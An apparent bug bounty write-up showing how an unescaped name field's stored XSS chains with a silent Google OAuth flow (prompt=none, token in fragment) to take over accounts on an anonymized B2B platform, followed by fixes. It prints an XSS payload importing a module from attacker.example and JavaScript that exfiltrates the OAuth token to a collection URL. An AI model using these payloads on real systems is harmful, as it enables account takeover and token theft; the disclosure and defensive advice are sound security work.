The First Name That Signed Me In as You
A profile field nobody guards became the loose thread that unraveled an entire OAuth login — one unescaped name away from full account takeover.
Target anonymized · a construction-industry B2B platform
Most people picture bug bounty as prying open admin panels or smuggling requests past a WAF. A lot of my best findings start somewhere much more boring: a form field a developer wrote in an afternoon and never thought about again. This one lived on a construction-industry B2B platform — the kind of portal where contractors manage quotes, accounts, and orders. It logged everyone in through Google, which is exactly the kind of glue code that gets copied from a tutorial and never re-read. I was poking at the profile page. Under Personal Details there was a field called First Name. That's where it started.
The spark
I'd already found an XSS elsewhere in this app — a payload that landed inside a <script> block on a different page. Different bug, different context, but it made me suspicious of how the app handled user-controlled strings. So when I edited my profile and set my first name to something with angle brackets in it, I watched where it came back.
It came back raw. Not inside an attribute, not inside a script — dropped straight into the page's HTML body, unescaped. A < was a <. That's the difference between "reflected string" and "you now control the DOM."
A raw HTML-context reflection in a name field is a clean stored XSS. On its own, that's a finding. But XSS on a B2B portal that mostly shows you your own data is exactly the kind of thing a triage team loves to downgrade — "self-XSS," "low impact," "who cares if you script your own profile." I needed to prove it was worth more than that. And the login button gave me the idea.
Digging in
The app authenticated through Google OAuth. When I watched the handshake in Burp, two things jumped out.
First, the response_type wasn't the clean authorization-code flow — it was a hybrid that asked Google to hand back a token in the URL fragment, right there at the redirect. Second, the flow could be replayed with prompt=none.
That second detail is the quiet one. prompt=none tells Google: don't show the user anything — if they already have a session with you, just silently mint a fresh code and redirect. Every logged-in Google user on the planet has that session. So anyone who could trigger this flow inside the victim's browser could obtain a fresh, valid authorization artifact for the victim's identity, with zero clicks.
My first instinct was the obvious one: steal the token cross-origin from my attacker page. Dead end. The token lands in the fragment on the app's origin, and the same-origin policy means my attacker.example page can't read location.hash of a window sitting on app.example.com. The browser was doing its job.
Then it clicked. I already had code execution on the app's origin — that was the whole point of the XSS. I didn't need to break same-origin. I was same-origin.
The XSS was never the real vulnerability. The real vulnerability was that my origin was trusted to receive OAuth tokens in a readable URL fragment. The XSS just gave me a pair of hands inside that trust boundary.
The exploit
The delivery payload avoided <script> entirely — useful when filters are watching for it. onpageshow fires on load, and dynamic import() pulls in a remote module:
<body/onpageshow=import('//attacker.example/c.js')>
That module runs as the app. From there the whole chain is just same-origin bookkeeping. A helper page opens a named popup, walks it through the silent OAuth flow, and my injected module simply reads the fragment out of that window and ships it home:
// executing on app.example.com thanks to the name-field XSS
const w = window.open('', 'oauthWin'); // grab the popup already on our origin
const token = w.location.hash.substring(1); // same-origin: reading this is allowed
new Image().src =
'//attacker.example/collect?d=' + encodeURIComponent(token);
Meanwhile the silent flow that fills that fragment is just:
GET /o/oauth2/auth?client_id=<CLIENT_ID>
&redirect_uri=https://app.example.com/oauth/callback
&response_type=code,token ← token delivered in the URL fragment
&scope=profile%20email
&prompt=none ← no interaction; reuses the victim's Google session
I collected the authorization code at my webhook, dropped it into the app's OAuth callback URL, and opened it. The app happily exchanged it and handed me a session — as the victim.
Impact
One unescaped name field turned into full account takeover. Feed a victim a link, wait about twenty seconds, and I'm logged into their account: their business details, their quotes, their orders — whatever a compromised contractor account can reach on a B2B procurement platform. No password, no MFA prompt, no interaction beyond opening a page. That's the whole ballgame. Critical, not "self-XSS."
The fix
The satisfying part is that any one of several fixes breaks the chain:
- Escape output. A name is text. Contextually HTML-encode it on the way out and the XSS simply never exists. This is the root cause and the first thing to fix.
- Kill the token-in-fragment flow. Use the authorization-code flow with PKCE. The code stays server-side; nothing sensitive lands in a URL an in-page script can read.
- Add a CSP. A policy that forbids inline event handlers and remote module
import()would have stopped the payload from ever loadingc.js. - Treat
prompt=noneas sensitive. Silent re-auth is convenient and dangerous; pin redirect URIs exactly and bind every flow to a freshstate.
None of these are exotic. The lesson I keep relearning is that severity lives in the chain, not the bug. A name field and a login button are both boring. Put them in the same origin and you get a takeover.
All identifiers, targets and payloads in this post are anonymized or defanged. Findings were reported and resolved through responsible disclosure.